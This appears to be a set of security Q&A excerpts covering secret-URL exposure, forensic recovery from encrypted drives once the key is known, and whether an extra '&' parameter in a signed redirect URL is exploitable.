One potential trouble with "secret URL" is that they can be bookmarked or copied by the user (e.g. sent by email), and are also displayed on the user screen (in the URL bar), thus potentially vulnerable to shoulder surfers. For passwords and also for secure cookies (cookies sent by servers with the "secure" flag), the involved applications (namely browsers) are supposed to be a bit more cautious than with URL. Human users are also a bit less careful with URL than with passwords. On the whole, secret URL are a valid security mechanism, but you have to remain aware of the details.


Can data be forensically retrieved off an encrypted hard drive? If a hard drive is encrypted, is it still possible to retrieve data off of it? What about if the password to decrypt it is known? If this is the case, given that OSX now encrypts your drive by default, does that mean every mac in the world, has data that cannot be retrieved after deletion?

All current disk encryption methods strength relies on the key secrecy.

While your key remains a secret (and it needs to be strong enough to remain one), then the content of your disk at rest remains a secret. I say "disk at rest" because when the computer is running, ie. you already unlocked the drive yourself, then your file-system is accessible and also the secret key could be retrieved from your computer RAM.
When, since you mentioned this situation in your question, the key is known by the attacker, then the disk encryption does not bring any value anymore. If your file-system keeps the data of deleted files on the disk, then this data will still be recoverable.

The encryption mechanism and the file-system are two different layers, the encryption goal is to protect unauthorized access attempts to the file-system, but once this obstacle is removed then the file-system becomes freely accessible and keeps the same properties as in unencrypted disks (there might possibly be however some subtleties coming with the abstraction brought by this supplementary encryption layer and making data retrieval more difficult, but I would not rely on such side-effect to bring any real security).

So, if the question here is "Should I wipe highly sensitive files in case I am forced to reveal my encryption key", the answer is that this makes sense. Apart from such case, secure file deletion will not bring any value against attacker ignoring your secret key.


"&" character in url I think I found a bug in my website but don't know how dangerous it is.

My website will redirect you to a warning page whenever you click on a link that is pasted in the comments section.

The url of the warning page consists of

https://example.com/redirect?signature=xxxxxxxxxxxxxxxxxxxxxxxxxxxx&url=http%3A%2F%google.com%2F

If you try to modify the signature code or the url it will prompt you with "Something went wrong, please try again later".

Now if you add an "&" after the signature nothing will happen! e.g.:

https://example.com/redirect?signature=xxxxxxxxxxxxxxxxxxxxxxxxxxxx&NothingHappend!&url=http%3A%2F%google.com%2F

Is this behavior dangerous or exploitable by anyway?

Thanks in advance

The ampersand character is used to separate arguments supplied to the url when multiple argments are used. In your first example the script receives the following arguments

signature=xxxxxxxxxxxxxxxxxxxxxxxxxxxx
url=http%3A%2F%google.com%2F

In your second example the script receives the following arguments:

signature=xxxxxxxxxxxxxxxxxxxxxxxxxxxx
NothingHappend!=
url=http%3A%2F%google.com%2F

As you can see you have added an additional argument, however as the other arguments haven't changed and your script (probably) doesn't use the "NothingHappened" argument it doesn't affect the script in any way.